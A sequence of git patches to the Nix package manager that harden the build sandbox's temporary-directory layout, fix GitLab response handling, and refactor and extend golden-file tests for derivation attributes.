@@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal
      */
     bool useChroot = false;
 
+    /**
+     * The parent directory of `chrootRootDir`. It has permission 700
+     * and is owned by root to ensure other users cannot mess with
+     * `chrootRootDir`.
+     */
+    Path chrootParentDir;
+
+    /**
+     * The root of the chroot environment.
+     */
     Path chrootRootDir;
 
     /**

From 58b7b3fd15d09da983d34c5ac1acf6cba10887d8 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 14 May 2024 14:10:18 +0200
Subject: [PATCH 392/528] Formatting

---
 src/libutil/file-system.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index cadcab96d8f..7b20e078bda 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -412,7 +412,7 @@ void deletePath(const fs::path & path)
     deletePath(path, dummy);
 }
 
-void createDir(const Path &path, mode_t mode)
+void createDir(const Path & path, mode_t mode)
 {
     if (mkdir(path.c_str(), mode) == -1)
         throw SysError("creating directory '%1%'", path);

From d54590fdf328ea2764cf79fcba72cbf091b38acf Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 14 May 2024 14:12:08 +0200
Subject: [PATCH 393/528] Fix --no-sandbox

When sandboxing is disabled, we cannot put $TMPDIR underneath an
inaccessible directory.
---
 src/libstore/unix/build/local-derivation-goal.cc | 11 ++++++++---
 tests/functional/check.sh                        |  5 ++++-
 2 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index d51a4817c22..34b20925abf 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -503,9 +503,14 @@ void LocalDerivationGoal::startBuilder()
 
     /* Create a temporary directory where the build will take
        place. */
-    auto parentTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
-    tmpDir = parentTmpDir + "/build";
-    createDir(tmpDir, 0700);
+    tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+    if (useChroot) {
+        /* If sandboxing is enabled, put the actual TMPDIR underneath
+           an inaccessible root-owned directory, to prevent outside
+           access. */
+        tmpDir = tmpDir + "/build";
+        createDir(tmpDir, 0700);
+    }
     chownToBuilder(tmpDir);
 
     for (auto & [outputName, status] : initialOutputs) {
diff --git a/tests/functional/check.sh b/tests/functional/check.sh
index a5e61b035f7..7b70d6aefff 100755
--- a/tests/functional/check.sh
+++ b/tests/functional/check.sh
@@ -46,7 +46,10 @@ test_custom_build_dir() {
       --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
   [ "$status" = "100" ]
   [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
-  local buildDir="$customBuildDir/nix-build-"*"/build"
+  local buildDir="$customBuildDir/nix-build-"*""
+  if [[ -e $buildDir/build ]]; then
+      buildDir=$buildDir/build
+  fi
   grep $checkBuildId $buildDir/checkBuildId
 }
 test_custom_build_dir

From 0468061dd2f9e70042b0bd0b4bf503c54637fd1a Mon Sep 17 00:00:00 2001
From: Shogo Takata <peshogo@gmail.com>
Date: Sun, 23 Jun 2024 00:52:19 +0900
Subject: [PATCH 394/528] accept response from gitlab with more than one entry

---
 src/libfetchers/github.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc
index 267e8607fcf..ddb41e63f9f 100644
--- a/src/libfetchers/github.cc
+++ b/src/libfetchers/github.cc
@@ -433,7 +433,7 @@ struct GitLabInputScheme : GitArchiveInputScheme
                 store->toRealPath(
                     downloadFile(store, url, "source", headers).storePath)));
 
-        if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) {
+        if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) {
           return RefInfo {
               .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
           };

From 490ca93cf886f046939ba4511dd88e5eb5dcddbc Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sun, 23 Jun 2024 15:33:45 -0400
Subject: [PATCH 395/528] Factor out a bit more language testings infra

Will be used in a second test after `lang.sh`.
---
 maintainers/flake-module.nix                  |  3 +-
 ...nfra.sh => characterisation-test-infra.sh} |  2 +-
 .../empty.exp => characterisation/empty}      |  0
 .../functional/characterisation/framework.sh  | 77 +++++++++++++++++++
 tests/functional/lang.sh                      | 32 +-------
 tests/functional/lang/framework.sh            | 33 --------
 tests/functional/local.mk                     |  2 +-
 7 files changed, 82 insertions(+), 67 deletions(-)
 rename tests/functional/{lang-test-infra.sh => characterisation-test-infra.sh} (98%)
 rename tests/functional/{lang/empty.exp => characterisation/empty} (100%)
 create mode 100644 tests/functional/characterisation/framework.sh
 delete mode 100644 tests/functional/lang/framework.sh

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index b1d21e8fe72..0bd353f1acd 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -522,6 +522,7 @@
             ''^tests/functional/ca/repl\.sh$''
             ''^tests/functional/ca/selfref-gc\.sh$''
             ''^tests/functional/ca/why-depends\.sh$''
+            ''^tests/functional/characterisation-test-infra\.sh$''
             ''^tests/functional/check\.sh$''
             ''^tests/functional/common/vars-and-functions\.sh$''
             ''^tests/functional/completions\.sh$''
@@ -579,9 +580,7 @@
             ''^tests/functional/impure-env\.sh$''
             ''^tests/functional/impure-eval\.sh$''
             ''^tests/functional/install-darwin\.sh$''
-            ''^tests/functional/lang-test-infra\.sh$''
             ''^tests/functional/lang\.sh$''
-            ''^tests/functional/lang/framework\.sh$''
             ''^tests/functional/legacy-ssh-store\.sh$''
             ''^tests/functional/linux-sandbox\.sh$''
             ''^tests/functional/local-overlay-store/add-lower-inner\.sh$''
diff --git a/tests/functional/lang-test-infra.sh b/tests/functional/characterisation-test-infra.sh
similarity index 98%
rename from tests/functional/lang-test-infra.sh
rename to tests/functional/characterisation-test-infra.sh
index f32ccef0513..27945455061 100755
--- a/tests/functional/lang-test-infra.sh
+++ b/tests/functional/characterisation-test-infra.sh
@@ -3,7 +3,7 @@
 # Test the function for lang.sh
 source common.sh
 
-source lang/framework.sh
+source characterisation/framework.sh
 
 # We are testing this, so don't want outside world to affect us.
 unset _NIX_TEST_ACCEPT
diff --git a/tests/functional/lang/empty.exp b/tests/functional/characterisation/empty
similarity index 100%
rename from tests/functional/lang/empty.exp
rename to tests/functional/characterisation/empty
diff --git a/tests/functional/characterisation/framework.sh b/tests/functional/characterisation/framework.sh
new file mode 100644
index 00000000000..913fdd9673d
--- /dev/null
+++ b/tests/functional/characterisation/framework.sh
@@ -0,0 +1,77 @@
+# shellcheck shell=bash
+
+# Golden test support
+#
+# Test that the output of the given test matches what is expected. If
+# `_NIX_TEST_ACCEPT` is non-empty also update the expected output so
+# that next time the test succeeds.
+function diffAndAcceptInner() {
+    local -r testName=$1
+    local -r got="$2"
+    local -r expected="$3"
+
+    # Absence of expected file indicates empty output expected.
+    if test -e "$expected"; then
+        local -r expectedOrEmpty="$expected"
+    else
+        local -r expectedOrEmpty=characterisation/empty
+    fi
+
+    # Diff so we get a nice message
+    if ! diff --color=always --unified "$expectedOrEmpty" "$got"; then
+        echo "FAIL: evaluation result of $testName not as expected"
+        # shellcheck disable=SC2034
+        badDiff=1
+    fi
+
+    # Update expected if `_NIX_TEST_ACCEPT` is non-empty.
+    if test -n "${_NIX_TEST_ACCEPT-}"; then
+        cp "$got" "$expected"
+        # Delete empty expected files to avoid bloating the repo with
+        # empty files.
+        if ! test -s "$expected"; then
+            rm "$expected"
+        fi
+    fi
+}
+
+function characterisationTestExit() {
+    # Make sure shellcheck knows all these will be defined by the caller
+    : "${badDiff?} ${badExitCode?}"
+
+    if test -n "${_NIX_TEST_ACCEPT-}"; then
+        if (( "$badDiff" )); then
+            set +x
+            echo 'Output did mot match, but accepted output as the persisted expected output.'
+            echo 'That means the next time the tests are run, they should pass.'
+            set -x
+        else
+            set +x
+            echo 'NOTE: Environment variable _NIX_TEST_ACCEPT is defined,'
+            echo 'indicating the unexpected output should be accepted as the expected output going forward,'
+            echo 'but no tests had unexpected output so there was no expected output to update.'
+            set -x
+        fi
+        if (( "$badExitCode" )); then
+            exit "$badExitCode"
+        else
+            skipTest "regenerating golden masters"
+        fi
+    else
+        if (( "$badDiff" )); then
+            set +x
+            echo ''
+            echo 'You can rerun this test with:'
+            echo ''
+            echo "    _NIX_TEST_ACCEPT=1 make tests/functional/${TEST_NAME}.test"
+            echo ''
+            echo 'to regenerate the files containing the expected output,'
+            echo 'and then view the git diff to decide whether a change is'
+            echo 'good/intentional or bad/unintentional.'
+            echo 'If the diff contains arbitrary or impure information,'
+            echo 'please improve the normalization that the test applies to the output.'
+            set -x
+        fi
+        exit $(( "$badExitCode" + "$badDiff" ))
+    fi
+}
diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh
index 569e7082e91..8cb8e98fb7e 100755
--- a/tests/functional/lang.sh
+++ b/tests/functional/lang.sh
@@ -4,7 +4,7 @@ source common.sh
 
 set -o pipefail
 
-source lang/framework.sh
+source characterisation/framework.sh
 
 # specialize function a bit
 function diffAndAccept() {
@@ -138,32 +138,4 @@ for i in lang/eval-okay-*.nix; do
     fi
 done
 
-if test -n "${_NIX_TEST_ACCEPT-}"; then
-    if (( "$badDiff" )); then
-        echo 'Output did mot match, but accepted output as the persisted expected output.'
-        echo 'That means the next time the tests are run, they should pass.'
-    else
-        echo 'NOTE: Environment variable _NIX_TEST_ACCEPT is defined,'
-        echo 'indicating the unexpected output should be accepted as the expected output going forward,'
-        echo 'but no tests had unexpected output so there was no expected output to update.'
-    fi
-    if (( "$badExitCode" )); then
-        exit "$badExitCode"
-    else
-        skipTest "regenerating golden masters"
-    fi
-else
-    if (( "$badDiff" )); then
-        echo ''
-        echo 'You can rerun this test with:'
-        echo ''
-        echo '    _NIX_TEST_ACCEPT=1 make tests/functional/lang.sh.test'
-        echo ''
-        echo 'to regenerate the files containing the expected output,'
-        echo 'and then view the git diff to decide whether a change is'
-        echo 'good/intentional or bad/unintentional.'
-        echo 'If the diff contains arbitrary or impure information,'
-        echo 'please improve the normalization that the test applies to the output.'
-    fi
-    exit $(( "$badExitCode" + "$badDiff" ))
-fi
+characterisationTestExit
diff --git a/tests/functional/lang/framework.sh b/tests/functional/lang/framework.sh
deleted file mode 100644
index 9b886e9835a..00000000000
--- a/tests/functional/lang/framework.sh
+++ /dev/null
@@ -1,33 +0,0 @@
-# Golden test support
-#
-# Test that the output of the given test matches what is expected. If
-# `_NIX_TEST_ACCEPT` is non-empty also update the expected output so
-# that next time the test succeeds.
-function diffAndAcceptInner() {
-    local -r testName=$1
-    local -r got="$2"
-    local -r expected="$3"
-
-    # Absence of expected file indicates empty output expected.
-    if test -e "$expected"; then
-        local -r expectedOrEmpty="$expected"
-    else
-        local -r expectedOrEmpty=lang/empty.exp
-    fi
-
-    # Diff so we get a nice message
-    if ! diff --color=always --unified "$expectedOrEmpty" "$got"; then
-        echo "FAIL: evaluation result of $testName not as expected"
-        badDiff=1
-    fi
-
-    # Update expected if `_NIX_TEST_ACCEPT` is non-empty.
-    if test -n "${_NIX_TEST_ACCEPT-}"; then
-        cp "$got" "$expected"
-        # Delete empty expected files to avoid bloating the repo with
-        # empty files.
-        if ! test -s "$expected"; then
-            rm "$expected"
-        fi
-    fi
-}
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index b379eeefee4..7e453632309 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -23,7 +23,7 @@ nix_tests = \
   remote-store.sh \
   legacy-ssh-store.sh \
   lang.sh \
-  lang-test-infra.sh \
+  characterisation-test-infra.sh \
   experimental-features.sh \
   fetchMercurial.sh \
   gc-auto.sh \

From 9f9984e4d07c3176a1781b2149ba7488383ddcde Mon Sep 17 00:00:00 2001
From: HaeNoe <git@haenoe.party>
Date: Sat, 8 Jun 2024 13:10:51 +0200
Subject: [PATCH 396/528] Functional test for derivation "advanced attrs"

This tests the Nix language side of things.

We are purposely skipping most of `common.sh` because it is overkill for
this test: we don't want to have an "overfit" test environment.

Co-Authored-By: John Ericson <John.Ericson@Obsidian.Systems>
---
 tests/functional/common/paths.sh              | 20 +++++++++
 tests/functional/common/subst-vars.sh.in      |  8 +++-
 tests/functional/common/test-root.sh          |  4 ++
 tests/functional/common/vars-and-functions.sh | 14 ++----
 .../derivation-advanced-attributes.sh         | 23 ++++++++++
 .../advanced-attributes-defaults.drv          |  1 +
 .../advanced-attributes-defaults.nix          |  6 +++
 ...d-attributes-structured-attrs-defaults.drv |  1 +
 ...d-attributes-structured-attrs-defaults.nix |  8 ++++
 .../advanced-attributes-structured-attrs.drv  |  1 +
 .../advanced-attributes-structured-attrs.nix  | 45 +++++++++++++++++++
 .../derivation/advanced-attributes.drv        |  1 +
 .../derivation/advanced-attributes.nix        | 33 ++++++++++++++
 tests/functional/local.mk                     |  1 +
 14 files changed, 155 insertions(+), 11 deletions(-)
 create mode 100644 tests/functional/common/paths.sh
 create mode 100644 tests/functional/common/test-root.sh
 create mode 100755 tests/functional/derivation-advanced-attributes.sh
 create mode 100644 tests/functional/derivation/advanced-attributes-defaults.drv
 create mode 100644 tests/functional/derivation/advanced-attributes-defaults.nix
 create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv
 create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix
 create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs.drv
 create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs.nix
 create mode 100644 tests/functional/derivation/advanced-attributes.drv
 create mode 100644 tests/functional/derivation/advanced-attributes.nix

diff --git a/tests/functional/common/paths.sh b/tests/functional/common/paths.sh
new file mode 100644
index 00000000000..938b9089989
--- /dev/null
+++ b/tests/functional/common/paths.sh
@@ -0,0 +1,20 @@
+# shellcheck shell=bash
+
+commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
+
+# Since this is a generated file
+# shellcheck disable=SC1091
+source "$commonDir/subst-vars.sh"
+# Make sure shellcheck knows this will be defined by the above generated snippet
+: "${bindir?}"
+
+export PATH="$bindir:$PATH"
+
+if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then
+  export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH
+fi
+
+DAEMON_PATH="$PATH"
+if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
+  DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH"
+fi
diff --git a/tests/functional/common/subst-vars.sh.in b/tests/functional/common/subst-vars.sh.in
index 4105e9f35eb..cd89a00339f 100644
--- a/tests/functional/common/subst-vars.sh.in
+++ b/tests/functional/common/subst-vars.sh.in
@@ -1,6 +1,10 @@
 # NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk
 
-export PATH=@bindir@:$PATH
+if [[ -z "${COMMON_SUBST_VARS_SH_SOURCED-}" ]]; then
+
+COMMON_SUBST_VARS_SH_SOURCED=1
+
+bindir=@bindir@
 export coreutils=@coreutils@
 #lsof=@lsof@
 
@@ -13,3 +17,5 @@ export version=@PACKAGE_VERSION@
 export system=@system@
 
 export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@
+
+fi
diff --git a/tests/functional/common/test-root.sh b/tests/functional/common/test-root.sh
new file mode 100644
index 00000000000..b50a062672a
--- /dev/null
+++ b/tests/functional/common/test-root.sh
@@ -0,0 +1,4 @@
+# shellcheck shell=bash
+
+TEST_ROOT=$(realpath "${TMPDIR:-/tmp}/nix-test")/${TEST_NAME:-default/tests\/functional//}
+export TEST_ROOT
diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh
index ad5b29a943b..f6ccf99412b 100644
--- a/tests/functional/common/vars-and-functions.sh
+++ b/tests/functional/common/vars-and-functions.sh
@@ -12,9 +12,11 @@ commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
 
 source "$commonDir/subst-vars.sh"
 # Make sure shellcheck knows all these will be defined by the above generated snippet
-: "${PATH?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}"
+: "${bindir?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}"
+
+source "$commonDir/paths.sh"
+source "$commonDir/test-root.sh"
 
-export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default/tests\/functional//}
 export NIX_STORE_DIR
 if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then
     # Maybe the build directory is symlinked.
@@ -43,14 +45,6 @@ unset XDG_CONFIG_HOME
 unset XDG_CONFIG_DIRS
 unset XDG_CACHE_HOME
 
-if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then
-  export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH
-fi
-DAEMON_PATH="$PATH"
-if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
-  DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH"
-fi
-
 export IMPURE_VAR1=foo
 export IMPURE_VAR2=bar
 
diff --git a/tests/functional/derivation-advanced-attributes.sh b/tests/functional/derivation-advanced-attributes.sh
new file mode 100755
index 00000000000..6c0c76b4cee
--- /dev/null
+++ b/tests/functional/derivation-advanced-attributes.sh
@@ -0,0 +1,23 @@
+#!/usr/bin/env bash
+
+source common/test-root.sh
+source common/paths.sh
+
+set -o pipefail
+
+source characterisation/framework.sh
+
+badDiff=0
+badExitCode=0
+
+store="$TEST_ROOT/store"
+
+for nixFile in derivation/*.nix; do
+    drvPath=$(nix-instantiate --store "$store" --pure-eval --expr "$(< "$nixFile")")
+    testName=$(basename "$nixFile" .nix)
+    got="${store}${drvPath}"
+    expected="derivation/$testName.drv"
+    diffAndAcceptInner "$testName" "$got" "$expected"
+done
+
+characterisationTestExit
diff --git a/tests/functional/derivation/advanced-attributes-defaults.drv b/tests/functional/derivation/advanced-attributes-defaults.drv
new file mode 100644
index 00000000000..391c6ab807c
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes-defaults.drv
@@ -0,0 +1 @@
+Derive([("out","/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults","","")],[],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("builder","/bin/bash"),("name","advanced-attributes-defaults"),("out","/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults"),("system","my-system")])
\ No newline at end of file
diff --git a/tests/functional/derivation/advanced-attributes-defaults.nix b/tests/functional/derivation/advanced-attributes-defaults.nix
new file mode 100644
index 00000000000..51a8d0e7e1a
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes-defaults.nix
@@ -0,0 +1,6 @@
+derivation {
+  name = "advanced-attributes-defaults";
+  system = "my-system";
+  builder = "/bin/bash";
+  args = [ "-c" "echo hello > $out" ];
+}
diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv
new file mode 100644
index 00000000000..9dd4020571c
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv
@@ -0,0 +1 @@
+Derive([("dev","/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev","",""),("out","/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults","","")],[],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__json","{\"builder\":\"/bin/bash\",\"name\":\"advanced-attributes-structured-attrs-defaults\",\"outputs\":[\"out\",\"dev\"],\"system\":\"my-system\"}"),("dev","/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev"),("out","/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults")])
\ No newline at end of file
diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix
new file mode 100644
index 00000000000..0c13a76911f
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix
@@ -0,0 +1,8 @@
+derivation {
+  name = "advanced-attributes-structured-attrs-defaults";
+  system = "my-system";
+  builder = "/bin/bash";
+  args = [ "-c" "echo hello > $out" ];
+  outputs = [ "out" "dev" ];
+  __structuredAttrs = true;
+}
diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs.drv b/tests/functional/derivation/advanced-attributes-structured-attrs.drv
new file mode 100644
index 00000000000..e47a41ad525
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes-structured-attrs.drv
@@ -0,0 +1 @@
+Derive([("bin","/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin","",""),("dev","/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev","",""),("out","/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs","","")],[("/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv",["out"]),("/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv",["out"])],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__json","{\"__darwinAllowLocalNetworking\":true,\"__impureHostDeps\":[\"/usr/bin/ditto\"],\"__noChroot\":true,\"__sandboxProfile\":\"sandcastle\",\"allowSubstitutes\":false,\"builder\":\"/bin/bash\",\"impureEnvVars\":[\"UNICORN\"],\"name\":\"advanced-attributes-structured-attrs\",\"outputChecks\":{\"bin\":{\"disallowedReferences\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"],\"disallowedRequisites\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"]},\"dev\":{\"maxClosureSize\":5909,\"maxSize\":789},\"out\":{\"allowedReferences\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"],\"allowedRequisites\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"]}},\"outputs\":[\"out\",\"bin\",\"dev\"],\"preferLocalBuild\":true,\"requiredSystemFeatures\":[\"rainbow\",\"uid-range\"],\"system\":\"my-system\"}"),("bin","/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin"),("dev","/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev"),("out","/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs")])
\ No newline at end of file
diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs.nix b/tests/functional/derivation/advanced-attributes-structured-attrs.nix
new file mode 100644
index 00000000000..0044b65fd41
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes-structured-attrs.nix
@@ -0,0 +1,45 @@
+let
+  system = "my-system";
+  foo = derivation {
+    inherit system;
+    name = "foo";
+    builder = "/bin/bash";
+    args = ["-c" "echo foo > $out"];
+  };
+  bar = derivation {
+    inherit system;
+    name = "bar";
+    builder = "/bin/bash";
+    args = ["-c" "echo bar > $out"];
+  };
+in
+derivation {
+  inherit system;
+  name = "advanced-attributes-structured-attrs";
+  builder = "/bin/bash";
+  args = [ "-c" "echo hello > $out" ];
+  __sandboxProfile = "sandcastle";
+  __noChroot = true;
+  __impureHostDeps = ["/usr/bin/ditto"];
+  impureEnvVars = ["UNICORN"];
+  __darwinAllowLocalNetworking = true;
+  outputs = [ "out" "bin" "dev" ];
+  __structuredAttrs = true;
+  outputChecks = {
+    out = {
+      allowedReferences = [foo];
+      allowedRequisites = [foo];
+    };
+    bin = {
+      disallowedReferences = [bar];
+      disallowedRequisites = [bar];
+    };
+    dev = {
+      maxSize = 789;
+      maxClosureSize = 5909;
+    };
+  };
+  requiredSystemFeatures = ["rainbow" "uid-range"];
+  preferLocalBuild = true;
+  allowSubstitutes = false;
+}
diff --git a/tests/functional/derivation/advanced-attributes.drv b/tests/functional/derivation/advanced-attributes.drv
new file mode 100644
index 00000000000..ec3112ab2b1
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes.drv
@@ -0,0 +1 @@
+Derive([("out","/nix/store/33a6fdmn8q9ih9d7npbnrxn2q56a4l8q-advanced-attributes","","")],[("/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv",["out"]),("/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv",["out"])],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__darwinAllowLocalNetworking","1"),("__impureHostDeps","/usr/bin/ditto"),("__noChroot","1"),("__sandboxProfile","sandcastle"),("allowSubstitutes",""),("allowedReferences","/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"),("allowedRequisites","/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"),("builder","/bin/bash"),("disallowedReferences","/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"),("disallowedRequisites","/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"),("impureEnvVars","UNICORN"),("name","advanced-attributes"),("out","/nix/store/33a6fdmn8q9ih9d7npbnrxn2q56a4l8q-advanced-attributes"),("preferLocalBuild","1"),("requiredSystemFeatures","rainbow uid-range"),("system","my-system")])
\ No newline at end of file
diff --git a/tests/functional/derivation/advanced-attributes.nix b/tests/functional/derivation/advanced-attributes.nix
new file mode 100644
index 00000000000..ff680c5677f
--- /dev/null
+++ b/tests/functional/derivation/advanced-attributes.nix
@@ -0,0 +1,33 @@
+let
+  system = "my-system";
+  foo = derivation {
+    inherit system;
+    name = "foo";
+    builder = "/bin/bash";
+    args = ["-c" "echo foo > $out"];
+  };
+  bar = derivation {
+    inherit system;
+    name = "bar";
+    builder = "/bin/bash";
+    args = ["-c" "echo bar > $out"];
+  };
+in
+derivation {
+  inherit system;
+  name = "advanced-attributes";
+  builder = "/bin/bash";
+  args = [ "-c" "echo hello > $out" ];
+  __sandboxProfile = "sandcastle";
+  __noChroot = true;
+  __impureHostDeps = ["/usr/bin/ditto"];
+  impureEnvVars = ["UNICORN"];
+  __darwinAllowLocalNetworking = true;
+  allowedReferences = [foo];
+  allowedRequisites = [foo];
+  disallowedReferences = [bar];
+  disallowedRequisites = [bar];
+  requiredSystemFeatures = ["rainbow" "uid-range"];
+  preferLocalBuild = true;
+  allowSubstitutes = false;
+}
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index 7e453632309..49ee31284bc 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -106,6 +106,7 @@ nix_tests = \
   eval-store.sh \
   why-depends.sh \
   derivation-json.sh \
+  derivation-advanced-attributes.sh \
   import-derivation.sh \
   nix_path.sh \
   case-hack.sh \

From 7fb14201afdeebc1327ff3ca75dcb4657c51cdc8 Mon Sep 17 00:00:00 2001
From: HaeNoe <git@haenoe.party>
Date: Sat, 8 Jun 2024 13:10:51 +0200
Subject: [PATCH 397/528] Unit test for derivation "advanced attrs"

This tests the parser and JSON format using the DRV files from the tests
added in the previous commit.

Co-Authored-By: John Ericson <John.Ericson@Obsidian.Systems>
---
 maintainers/flake-module.nix                  |   1 -
 tests/unit/libstore-support/tests/libstore.hh |  34 ++-
 .../advanced-attributes-defaults.drv          |   1 +
 .../advanced-attributes-defaults.json         |  22 ++
 ...d-attributes-structured-attrs-defaults.drv |   1 +
 ...-attributes-structured-attrs-defaults.json |  24 ++
 .../advanced-attributes-structured-attrs.drv  |   1 +
 .../advanced-attributes-structured-attrs.json |  41 +++
 .../data/derivation/advanced-attributes.drv   |   1 +
 .../libstore/derivation-advanced-attrs.cc     | 234 ++++++++++++++++++
 .../libutil-support/tests/characterization.hh |   1 +
 11 files changed, 347 insertions(+), 14 deletions(-)
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
 create mode 100644 tests/unit/libstore/data/derivation/advanced-attributes-defaults.json
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
 create mode 100644 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
 create mode 100644 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes.drv
 create mode 100644 tests/unit/libstore/derivation-advanced-attrs.cc

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 0bd353f1acd..5e4291fcbdb 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -447,7 +447,6 @@
             ''^tests/unit/libfetchers/public-key\.cc''
             ''^tests/unit/libstore-support/tests/derived-path\.cc''
             ''^tests/unit/libstore-support/tests/derived-path\.hh''
-            ''^tests/unit/libstore-support/tests/libstore\.hh''
             ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
             ''^tests/unit/libstore-support/tests/outputs-spec\.cc''
             ''^tests/unit/libstore-support/tests/outputs-spec\.hh''
